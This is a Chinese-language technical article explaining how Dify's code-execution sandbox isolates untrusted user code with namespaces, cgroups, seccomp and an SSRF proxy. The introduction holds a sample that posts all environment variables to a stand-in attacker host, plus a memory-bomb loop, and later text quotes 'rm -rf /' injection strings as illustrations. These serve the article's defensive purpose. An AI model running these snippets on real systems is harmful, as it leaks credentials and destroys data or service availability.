1. 引言:潘多拉魔盒——当应用允许用户「写代码」

在 Dify 的 Workflow(工作流) 中,代码节点(Code Node) 是一个非常强大的功能,它允许用户直接在浏览器里编写 Python 或 JavaScript 代码。

但从服务端开发的视角来看,这就相当于把服务器的终端开放给了普通用户。如果没有隔离,用户可以在节点里写出这样的「毒药」代码:

💣 风险示例 1:窃取服务器机密

1
2
3
4
5
6
7
8
9
# 用户在代码节点中悄悄输入以下代码
import os
import requests

# 读取宿主机所有的环境变量(往往包含数据库密码、API Key)
secrets = dict(os.environ)

# 将核心机密发送到黑客的接收服务器
requests.post("https://hacker.com/steal", json=secrets)

💣 风险示例 2:内存炸弹(OOM)

1
2
3
4
# 简单的两行代码,瞬间吃光服务器内存,导致整个 Dify 宕机
bomb = []
while True:
bomb.append("A" * 1024 * 1024) # 每次循环吃掉 1MB 内存

如果这些代码直接在 Dify 的核心容器里裸奔,后果不堪设想。这就引出了我们今天的主角:隔离沙箱环境(Sandbox)


2. 为什么需要隔离沙箱环境?

沙箱(Sandbox)就像是一个「防爆玻璃房」。把未知、不可信的用户代码放进去引爆,无论里面发生什么,都不会波及外面的宿主机。沙箱必须解决 三大核心诉求

诉求 说明 对应防御对象
安全隔离(防黑客) 哪怕执行 os.system("rm -rf /"),删掉的也只是沙箱内部的虚拟文件,宿主机安然无恙;断绝外部网络连接,防止刚才提到的密码窃取 越权访问、网络外联
资源限制(防滥用) 严格控制 CPU 使用率和内存。刚才的「内存炸弹」一旦触发阈值,沙箱会直接将其「爆头」(OOM Kill) OOM、死循环、CPU 抢占
环境纯粹性(防污染) 每次执行都是全新的环境,张三执行的代码生成的临时文件,绝不会留在服务器上影响李四 残留状态污染、横向移动

3. 沙箱底层机制:如何把猛兽关进笼子?

在 Linux 体系下,沙箱并不是魔法,而是由一系列 内核级特性 组合而成的。我们可以将其理解为给进程套上「三层枷锁」。

3.1 第一层 · 障眼法:Namespace(命名空间)

让进程以为自己拥有一台独立的电脑。

进程看到的 PID、网络接口、挂载点都是「假的」,与宿主机完全隔离。

💡 运维命令演示

我们可以通过 unshare 命令在 Linux 中手动体验创建一个隔离了进程(PID)和网络(NET)的沙箱:

1
2
# 启动一个全新的 bash,它看不到宿主机的进程,也没有网卡
unshare --pid --net --mount --fork /bin/bash

常见命名空间类型速查:

Namespace 隔离对象 攻击场景防护
CLONE_NEWPID 进程 ID 用户看不到宿主机进程,无法 kill 其他服务
CLONE_NEWNET 网络栈 切断外联,阻断数据外传
CLONE_NEWNS 挂载点 用户看不到宿主机真实文件系统
CLONE_NEWUTS 主机名 / 域名 隐藏宿主身份
CLONE_NEWIPC 进程间通信 切断共享内存 / 信号量通道
CLONE_NEWUSER 用户 / 用户组 以非 root 身份运行,限制权限

3.2 第二层 · 紧箍咒:Cgroups(控制组)

由 Linux 内核提供,死死卡住进程的 硬件资源上限。比如限制某段代码最多只能用 50MB 内存,超过就立刻被内核杀死。

常见可控资源:cpumemoryblkio(磁盘 IO)、pids(进程数上限)、net_cls(网络分类)。

3.3 第三层 · 防火墙:Seccomp(系统调用拦截)

代码即便在沙箱里,最终还是要向宿主机内核申请资源(比如打开文件 open())。Seccomp 是一份白名单,它规定沙箱内的代码只能调用 readwrite 等无害操作。如果它敢调用 execve(尝试执行新木马程序),内核会直接报错。

三层关系:Namespace 管「能看到什么」,Cgroups 管「能用多少」,Seccomp 管「能做什么」。


4. 深入剖析:Dify 中是如何实现沙箱的?

Dify 作为一个生产级的 AI 框架,专门独立出了一个 dify-sandbox 微服务项目(基于 Go 语言编写)。它完美结合了上述 Linux 底层特性。

⚠️ 重要前提:沙箱不是万能的「黑盒」。它要求 执行环境具备充足的 Linux 权限CAP_SYS_ADMINCAP_SYS_PTRACE 等)。在某些受限的 K8s 集群或 Mac/Windows 宿主机上,Namespace/Cgroups 可能无法生效,部署前需要确认。

4.1 微服务隔离架构

在部署层面,Dify 的核心 API(dify-api)和沙箱(dify-sandbox)是 完全解耦 的两个容器。

  • dify-api 只负责工作流的流转;
  • 当走到代码节点时,dify-api 会将代码通过 HTTP 发给 dify-sandbox 执行;
  • 哪怕沙箱真的被极限黑客打挂了,Dify 的主业务依然存活。

本仓库中的相关定义位于 docker/docker-compose.yaml:955-977

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# The DifySandbox
sandbox:
image: langgenius/dify-sandbox:0.2.14
restart: always
environment:
API_KEY: ${SANDBOX_API_KEY:-dify-sandbox}
GIN_MODE: ${SANDBOX_GIN_MODE:-release}
WORKER_TIMEOUT: ${SANDBOX_WORKER_TIMEOUT:-15}
ENABLE_NETWORK: ${SANDBOX_ENABLE_NETWORK:-true}
HTTP_PROXY: ${SANDBOX_HTTP_PROXY:-http://ssrf_proxy:3128}
HTTPS_PROXY: ${SANDBOX_HTTPS_PROXY:-http://ssrf_proxy:3128}
SANDBOX_PORT: ${SANDBOX_PORT:-8194}
PIP_MIRROR_URL: ${PIP_MIRROR_URL:-}
volumes:
- ./volumes/sandbox/dependencies:/dependencies
- ./volumes/sandbox/conf:/conf
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8194/health"]
networks:
- ssrf_proxy_network # 只能访问 ssrf_proxy,无法直达外网

调用关系图

1
2
3
4
5
6
7
8
9
10
11
12
┌─────────────────────┐   HTTP /v1/sandbox/run   ┌──────────────────────┐
│ dify-api (Python) │ ───────────────────────► │ dify-sandbox (Go) │
│ │ │ ─ Namespace 隔离 │
│ Workflow 引擎 │ │ ─ Cgroups 限资源 │
│ Code Node 执行器 │ │ ─ Seccomp 限系统调用 │
└─────────────────────┘ └──────────┬───────────┘
│ 仅允许出站走代理

┌──────────────────────┐
│ ssrf_proxy (Squid) │
│ 白名单域名过滤 │
└──────────────────────┘

双层网络防御:沙箱容器只挂在 ssrf_proxy_network(一个 internal: true 的内部网络,docker/docker-compose.yaml:1626-1630),物理上无法直达外网。所有出站请求都必须经过 ssrf_proxy 进行 SSRF 白名单过滤。

4.2 核心机制与关键代码解读

dify-sandbox 收到代码后,不会慢吞吞地去 docker run 创建新容器(那样延迟太高)。它通过 Go 原生的系统调用,直接拉起一个挂载了 Namespace 的受限子进程。

下面是高度浓缩的 Dify Sandbox 核心执行逻辑伪代码(基于 Go 原生特性),这是整个沙箱的「心脏」:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// dify-sandbox 核心运行时伪代码
func RunUserCode(userCode string, timeout time.Duration) (string, error) {
// 1. 设置超时上下文(防御死循环,如 while True)
ctx, cancel := context.WithTimeout(context.Background(), timeout)
defer cancel()

// 2. 准备执行命令(以 Python 为例)
cmd := exec.CommandContext(ctx, "python3", "-c", userCode)

// 3. 核心隔离机制:注入 Linux Namespace 枷锁
// 这是沙箱最关键的一步!在这里剥夺它的特权
cmd.SysProcAttr = &syscall.SysProcAttr{
// CLONE_NEWPID : 独立进程空间,看不到宿主机进程
// CLONE_NEWNET : 独立网络栈,断网,防止数据外传
// CLONE_NEWNS : 独立挂载点,保护宿主机文件系统
Cloneflags: syscall.CLONE_NEWPID | syscall.CLONE_NEWNET | syscall.CLONE_NEWNS,
}

// (可选配置 Cgroups 限制内存,以及 Seccomp 规则)
// SetupCgroups(cmd.Process.Pid, MaxMemory100MB)

// 4. 开始执行并捕获标准输出
out, err := cmd.CombinedOutput()

// 5. 检查是否因为超时被强制杀死
if ctx.Err() == context.DeadlineExceeded {
return "", errors.New("Execution Timeout: 代码执行超时,已被沙箱强制终止!")
}

return string(out), err
}

4.3 Dify 后端如何调用沙箱?

回到本仓库的 Python 代码侧,工作流执行到代码节点时,会通过 HTTP 调用 dify-sandbox

入口apicustom/core/helper/code_executor/code_executor.py:69-133

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@classmethod
def execute_code(cls, language: CodeLanguage, preload: str, code: str) -> str:
url = code_execution_endpoint_url / "v1" / "sandbox" / "run"

headers = {"X-Api-Key": dify_config.CODE_EXECUTION_API_KEY}

data = {
"language": cls.code_language_to_running_language.get(language),
"code": code,
"preload": preload,
"enable_network": True,
}

timeout = httpx.Timeout(
connect=dify_config.CODE_EXECUTION_CONNECT_TIMEOUT,
read=dify_config.CODE_EXECUTION_READ_TIMEOUT,
write=dify_config.CODE_EXECUTION_WRITE_TIMEOUT,
pool=None,
)
# ... 发送 POST 请求 ...

关键点解读

  • code_execution_endpoint_url:从配置 CODE_EXECUTION_ENDPOINT 读取,默认指向 http://sandbox:8194(即同 Compose 网络内的沙箱容器)。
  • X-Api-Key:携带沙箱 API Key(默认 dify-sandbox),生产环境 必须 通过 openssl rand -base64 42 重新生成并写入 .env
  • enable_network: True:是否允许沙箱内代码访问网络(取决于沙箱侧 ENABLE_NETWORK 与是否走 ssrf_proxy 代理)。
  • 三层超时:连接超时 / 读取超时 / 写入超时,任意一层超时就视为沙箱不可用。

配置侧apicustom/configs/feature/init.py:103-126):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class CodeExecutionSandboxConfig(BaseSettings):
"""
Configuration for the code execution sandbox environment
"""
CODE_EXECUTION_ENDPOINT: HttpUrl = Field(
description="URL endpoint for the code execution service",
default=HttpUrl("http://sandbox:8194"),
)
CODE_EXECUTION_API_KEY: str = Field(
description="API key for accessing the code execution service",
default="dify-sandbox",
)
CODE_EXECUTION_CONNECT_TIMEOUT: float | None = Field(default=10.0, ...)
CODE_EXECUTION_READ_TIMEOUT: float | None = Field(...)

代码节点侧的输出校验apicustom/.venv/lib/python3.12/site-packages/graphon/nodes/code/code_node.py:174-229):

沙箱返回结果后,CodeNode 还会基于 CodeNodeLimitsapicustom/.venv/lib/python3.12/site-packages/graphon/nodes/code/limits.py)做 应用层校验,作为最后一道防线:

  • 字符串长度上限(max_string_length
  • 数字范围与精度(max_number / min_number / max_precision
  • 嵌套深度(max_depth
  • 数组长度上限(max_number_array_length / max_string_array_length / max_object_array_length
1
2
3
4
5
6
7
8
9
def _check_string(self, value: str | None, variable: str) -> str | None:
if value is None:
return None
if len(value) > self._limits.max_string_length:
raise OutputValidationError(
f"The length of output variable `{variable}` must be"
f" less than {self._limits.max_string_length} characters"
)
return value.replace("\x00", "")

4.4 模板转换:参数如何注入?

Dify 的代码节点并不会把用户输入和代码「拼接」在一起,而是采用 预编译 + base64 注入 的方式,避免字符串拼接型注入风险。

Python3 转换器apicustom/core/helper/code_executor/python3/python3_transformer.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Python3TemplateTransformer(TemplateTransformer):
@classmethod
def get_runner_script(cls) -> str:
runner_script = dedent(f""" {cls._code_placeholder}

import json
from base64 import b64decode

# decode and prepare input dict
inputs_obj = json.loads(b64decode('{cls._inputs_placeholder}').decode('utf-8'))

# execute main function
output_obj = main(**inputs_obj)

# convert output to json and print
output_json = json.dumps(output_obj, indent=4)
result = f'''<<RESULT>>{{output_json}}<<RESULT>>'''
print(result)
""")
return runner_script

可以看到:

  1. 用户编写的 main(**inputs) 代码通过占位符插入到 runner 顶部;
  2. 工作流上游变量以 base64 编码 后以字符串占位符注入,由沙箱内代码 b64decode 后再 json.loads
  3. 返回结果用 <<RESULT>>...<<RESULT>> 包裹,方便沙箱侧定位输出起点。

💡 这种「字符串拼接 + 沙箱执行」模式听起来很危险,但只要沙箱内核隔离足够强(即使用户在字符串里塞 __import__('os').system('rm -rf /'),在沙箱里也只能删掉沙箱内部文件),配合应用层 OutputValidationError,就构成了端到端的安全闭环。

4.5 沙箱自身配置详解

docker/volumes/sandbox/conf/config.yaml 控制沙箱微服务本身的行为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
app:
port: 8194 # 沙箱监听端口
debug: True
key: dify-sandbox # ⚠️ 生产环境必须修改
max_workers: 4 # 同时并发执行的子进程数
max_requests: 50 # 单 worker 累计处理请求上限,到达后自杀重建
worker_timeout: 5 # 单次执行超时(秒)
python_path: /opt/python/bin/python3
python_lib_path: # 沙箱内可见的库路径
- /usr/local/lib/python3.10
- /usr/lib/python3.10
- ...
python_pip_mirror_url: https://pypi.tuna.tsinghua.edu.cn/simple
nodejs_path: /usr/local/bin/node
enable_network: True # 是否允许沙箱内代码联网
allowed_syscalls: # Seccomp 白名单(系统调用号)
- 1
- 2
- 3
proxy: # 出口代理(通常指向 ssrf_proxy)
socks5: ''
http: ''
https: ''

⚠️ max_requests: 50 是一个 状态隔离的工程技巧 —— 让 worker 处理 50 个请求后自杀重建,相当于「每次执行都是全新的环境」,彻底避免长期内存累积或残留状态污染。

4.6 兼顾开发体验:依赖库挂载

除了安全,Dify 还考虑了业务需求。纯粹的 Python 往往不够用,用户需要 numpyrequests 等。

Dify 的做法是:系统管理员可以在外部配置好 python-requirements.txt 并提前安装好,然后以 只读(Read-Only) 的形式挂载(Volume Mount)到沙箱的目录中。

1
2
3
4
# docker-compose.yaml 中 sandbox 服务
volumes:
- ./volumes/sandbox/dependencies:/dependencies
- ./volumes/sandbox/conf:/conf

优点

  • ✅ 运行时环境 不可被用户代码篡改
  • ✅ 沙箱重启后依赖依然存在;
  • ✅ 业务侧可享受 numpypandas 等强大的外部库能力。

5. 总结与开发启示

通过剖析 Dify 的沙箱机制,我们在日常的后端开发中可以吸取以下经验:

5.1 永远不要信任用户输入(Zero Trust)

只要业务涉及「动态代码执行」「动态 SQL 拼接」「动态 Shell 运行」,就必须 默认用户是恶意的,必须做物理或逻辑隔离。

SQL 场景的等价防御:使用参数化查询(Prepared Statement) + 最小权限账号;禁止字符串拼接 SQL。

5.2 防御性架构设计

高危模块(如代码执行模块)一定要 从单体应用中剥离出去,做微服务级别的解耦。不要让非核心功能的故障,拖垮整个核心交易链路

参考 Dify 自身的部署:

1
2
核心业务  ── 隔离  ──  高危模块  ──  隔离  ──  外网(经代理白名单)
dify-api sandbox (无外网) ssrf_proxy

5.3 拥抱云原生底层技术

了解 Linux 的 NamespaceCgroups,不仅能帮助我们理解沙箱,更有助于我们深入理解 DockerKubernetes 的工作原理:

  • Docker 容器 ≈ Namespace + Cgroups + UnionFS
  • K8s Pod ≈ 一组共享 Network Namespace 的容器 + Cgroups 资源配额
  • gVisor / Kata Containers ≈ 「沙箱中的沙箱」,连 syscall 都不直接打到宿主机内核

这是现代后端工程师的必修课。

5.4 沙箱不是银弹:常见误区

误区 真实情况
「上了沙箱就绝对安全」 沙箱依赖 Linux 内核权限;共享内核场景下内核漏洞可逃逸(Dirty COW、CVE-2022-0185 等)
「开 enable_network 就完了」 必须配合 ssrf_proxy 域名白名单,否则沙箱可能被当作 SSRF 跳板
「默认 API Key 不用改」 生产环境必须替换为强随机密钥(openssl rand -base64 42
「沙箱挂了主业务不受影响」 业务流程高度依赖沙箱时(如代码节点串联)沙箱抖动会直接表现为业务失败,需要有降级 / 重试策略

6. 附录:本仓库中的关键代码索引

便于感兴趣的同事进一步深挖。

关注点 文件路径 关键行
沙箱服务定义 docker/docker-compose.yaml L955-L977
沙箱网络隔离 docker/docker-compose.yaml L1626-L1630
SSRF 代理网络 docker/docker-compose.yaml L580-L590
沙箱配置文件 docker/volumes/sandbox/conf/config.yaml 全文
沙箱配置示例 docker/volumes/sandbox/conf/config.yaml.example 全文
后端沙箱配置 apicustom/configs/feature/init.py L103-L126
沙箱 HTTP 调用 apicustom/core/helper/code_executor/code_executor.py L19, L69-L133
Python3 模板转换 apicustom/core/helper/code_executor/python3/python3_transformer.py 全文
代码节点输出校验 apicustom/.venv/lib/python3.12/site-packages/graphon/nodes/code/code_node.py L174-L229
节点输出阈值 apicustom/.venv/lib/python3.12/site-packages/graphon/nodes/code/limits.py 全文
代码节点异常类型 apicustom/.venv/lib/python3.12/site-packages/graphon/nodes/code/exc.py 全文

参考阅读